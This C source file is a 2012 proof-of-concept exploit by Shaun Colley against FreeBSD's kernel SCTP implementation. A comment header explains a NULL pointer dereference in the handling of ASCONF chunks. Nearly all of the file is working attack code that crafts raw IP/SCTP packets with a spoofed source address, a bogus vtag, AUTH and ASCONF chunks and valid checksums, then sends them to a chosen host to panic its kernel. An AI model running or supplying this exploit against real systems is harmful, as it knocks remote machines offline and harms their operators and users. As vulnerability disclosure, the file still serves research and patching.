/* * FreeBSD kernel SCTP (latest release) remote NULL ptr dereference DoS * * by Shaun Colley , 2 Aug 2012 * * The SCTP implementation used by FreeBSD ("reference implementation") is vulnerable to a remote * NULL pointer dereference in kernel due to a logic bug. When parsing ASCONF chunks, an attempt is * made to find an association by address. if the address found is INADDR_ANY, sctp_findassoc_by_vtag() * is called and an attempt is made to find an association by vtag. Before searching for the vtag in a * hash table, a pointer is set to NULL, with the intention of redefining it after finding the association. * However, if the specified vtag is not found, the function returns and the ptr is never reinitialised, * causing a kernel panic when the NULL pointer is later dereferenced by the SCTP_INP_DECR_REF macro when * flow returns to sctp_process_control(). * * i.e. * * static struct sctp_tcb * * sctp_findassoc_by_vtag(struct sockaddr *from, uint32_t vtag, * struct sctp_inpcb **inp_p, struct sctp_nets **netp, uint16_t rport, * uint16_t lport, int skip_src_check) * * { * * [ ... ] * * *netp = NULL; * *inp_p = NULL; * * [ ... ] * * head = &sctppcbinfo.sctp_asochash[SCTP_PCBHASH_ASOC(vtag, * 1690 sctppcbinfo.hashasocmark)]; * if (head == NULL) { * // invalid vtag * SCTP_INP_INFO_RUNLOCK(); * return (NULL); * } * * The page fault is a write AV at 0x0 + 0x33c but since there is no associated user context, this * doesn't appear to be exploitable (i.e. by mapping the NULL page) * * Tested against FreebSD 8.2-RELEASE but latest release is also vulnerable. The target system must have an open * SCTP port * */ #include #include #include #include #include #include #include #include #include /* sctp checksum implementation, basically ripped from wireshark */ #define SP_LEN 2 #define DP_LEN 2 #define VTAG_LEN 4 #define CHK_LEN 4 #define HEADER_LEN (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN) #define CRC32C(c, d) (c = (c >> 8) ^ crc_c[(c ^(d)) & 0xFF]) /* SCTP chunk types */ #define SCTP_AUTH 0x0f #define SCTP_ASCONF 0xc1 static int crc_c[256] = { 0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L, 0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL, 0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL, 0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L, 0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL, 0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L, 0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L, 0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL, 0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL, 0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L, 0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L, 0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL, 0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L, 0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL, 0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL, 0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L, 0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L, 0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L, 0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L, 0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L, 0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L, 0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L, 0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L, 0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L, 0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L, 0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L, 0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L, 0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L, 0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L, 0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L, 0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L, 0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L, 0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL, 0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L, 0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L, 0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL, 0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L, 0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL, 0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL, 0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L, 0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L, 0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL, 0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL, 0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L, 0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL, 0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L, 0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L, 0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL, 0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L, 0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL, 0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL, 0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L, 0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL, 0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L, 0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L, 0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL, 0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL, 0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L, 0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L, 0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL, 0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L, 0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL, 0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL, 0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L, }; static unsigned int sctp_crc32c(const unsigned char *buf, unsigned int len) { unsigned int i; unsigned int crc32 = ~0U; unsigned int r; unsigned char b0, b1, b2, b3; for(i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++) CRC32C(crc32, buf[i]); CRC32C(crc32, 0); CRC32C(crc32, 0); CRC32C(crc32, 0); CRC32C(crc32, 0); for (i = HEADER_LEN; i < len; i++) CRC32C(crc32, buf[i]); r = ~crc32; b0 = r & 0xff; b1 = (r >> 8) & 0xff; b2 = (r >> 16) & 0xff; b3 = (r >> 24) & 0xff; crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3); return crc32; } /* basic sctp header */ struct sctphdr { unsigned short sport; unsigned short dport; unsigned int vtag; unsigned csum; }; /* sctp chunk header */ struct sctp_chunkhdr { unsigned char type; unsigned char flags; unsigned short length; }; /* ASCONF chunk */ struct sctp_asconf_chunk { struct sctp_chunkhdr ch; unsigned int serial; }; /* AUTH chunk */ struct sctp_auth_chunk { struct sctp_chunkhdr ch; unsigned short shared_key_id; unsigned short hmac_id; unsigned char hmac[0]; }; /* SCTP parameter header */ struct sctp_paramhdr { unsigned short type; unsigned short length; }; /* ipv4 address parameter */ struct sctp_ipv4addr_param { struct sctp_paramhdr ph; unsigned int addr; }; /* standard crc32 IP checksum */ unsigned short checksum(unsigned short *addr, int len) { int nleft = len; unsigned int sum = 0; unsigned short *w = addr; unsigned short answer = 0; while(nleft > 1) { sum += *w++; nleft -= 2; } if(nleft == 1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return answer; } int main(int argc, char *argv[]) { int sock = 0, ret = 0; int on = 1; /* for setsockopt() call */ struct ip *iph = NULL; struct sctphdr *sctph = NULL; struct sctp_auth_chunk *auth_chunk = NULL; struct sctp_asconf_chunk *asconf_chunk = NULL; struct sctp_ipv4addr_param *ipv4_addr = NULL; char *crash = NULL; struct sockaddr_in sin; struct hostent *hp = NULL; printf("\n[*] freebsd sctp remote NULL ptr dereference\n\n"); if(argc < 3) { printf("usage: %s \n\n", argv[0]); return -1; } sock = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP); if(sock < 0) { printf("[*] error making socket!\n"); return -1; } /* tell the kernel not to put any IP headers in */ if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { printf("[*] setsockopt() error\n"); return -1; } hp = gethostbyname(argv[1]); if(!hp) { printf("[*] couldn't resolve %s\n\n", argv[1]); return -1; } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2])); memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length); crash = malloc(20000); if(!crash) { printf("\n[*] couldn't allocate memory\n"); return -1; } printf("[*] building crash packet..\n"); memset(crash, 0x00, 20000); /* fill in IP header */ iph = (struct ip *)crash; iph->ip_hl = 5; iph->ip_v = 4; iph->ip_tos = 0; iph->ip_len = 0; /* fill in later when we know... */ iph->ip_id = htons(1337); iph->ip_off = 0; iph->ip_ttl = 250; iph->ip_p = 132; /* sctp */ iph->ip_sum = 0; iph->ip_src.s_addr = inet_addr("1.3.3.7"); iph->ip_dst.s_addr = sin.sin_addr.s_addr; /* fill in SCTP header */ sctph = (void *)crash + sizeof(struct ip); sctph->sport = htons(0x1234); sctph->dport = htons(atoi(argv[2])); sctph->vtag = htonl(0x12345); /* deliberately wrong */ sctph->csum = 0; /* build AUTH chunk */ auth_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr); auth_chunk->ch.type = SCTP_AUTH; auth_chunk->ch.length = htons(8 + sizeof(struct sctp_auth_chunk)); auth_chunk->hmac_id = htons(0x1337); memset((void *)auth_chunk->hmac, 0x61, 8); /* build ASCONF chunk */ asconf_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8; asconf_chunk->ch.type = SCTP_ASCONF; asconf_chunk->ch.length = htons(sizeof(struct sctp_asconf_chunk) + sizeof(struct sctp_ipv4addr_param)); asconf_chunk->serial = 0x41414141; /* whatever */ ipv4_addr = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk); ipv4_addr->ph.length = htons(sizeof(struct sctp_ipv4addr_param)); ipv4_addr->ph.type = htons(0x0005); ipv4_addr->addr = INADDR_ANY; /* this takes us down the bad code path */ /* what's the length of the whole packet? */ iph->ip_len = sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk) + sizeof(struct sctp_ipv4addr_param); /* calculate IP checksum */ iph->ip_sum = checksum((unsigned short *)crash, iph->ip_len >> 1); /* calculate SCTP checksum */ sctph->csum = htonl(sctp_crc32c((const unsigned char *)sctph, sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk) + sizeof(struct sctp_ipv4addr_param))); printf("[*] sending packet..\n\n"); /* send the bad packet */ ret = sendto(sock, crash, iph->ip_len, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); if(ret < 0) { printf("[*] error sending packet\n"); return -1; } printf("[*] done, bad packet sent!\n\n"); free(crash); close(sock); return 0; }